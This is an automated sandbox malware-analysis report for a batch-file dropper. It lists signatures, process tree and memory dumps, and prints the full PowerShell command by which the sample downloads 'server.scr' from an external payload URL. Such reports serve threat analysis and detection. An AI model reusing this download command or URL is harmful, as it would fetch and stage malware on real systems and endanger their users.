Resubmissions

03/10/2024, 18:00

241003-wlb4xasdnd10

04/09/2024, 12:18

240904-pgn5ca1drd10

Analysis

  • max time kernel
    122s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    04/09/2024, 12:18

General

  • Target
    Dropper.bat
  • Size 470B
  • Sample240904-pgn5ca1drd
  • SHA256 6bce98ce8751d6f87e97578a05e606a0b699f24c1a69b96cd28ef88d4984fe71
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://master-repogen.vercel.app/file/server.scr

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\Dropper.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2336
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "(New-Object System.Net.WebClient).DownloadFile('https://master-repogen.vercel.app/file/server.scr', 'C:\Users\Admin\Downloads\server.scr')"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2464

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/2464-4-0x000007FEF638E000-0x000007FEF638F000-memory.dmp

        memory/2464-5-0x000000001B4B0000-0x000000001B792000-memory.dmp

        memory/2464-7-0x000007FEF60D0000-0x000007FEF6A6D000-memory.dmp

        memory/2464-9-0x000007FEF60D0000-0x000007FEF6A6D000-memory.dmp

        memory/2464-8-0x000007FEF60D0000-0x000007FEF6A6D000-memory.dmp

        memory/2464-6-0x0000000002250000-0x0000000002258000-memory.dmp

        memory/2464-10-0x000007FEF60D0000-0x000007FEF6A6D000-memory.dmp

        memory/2464-11-0x000007FEF60D0000-0x000007FEF6A6D000-memory.dmp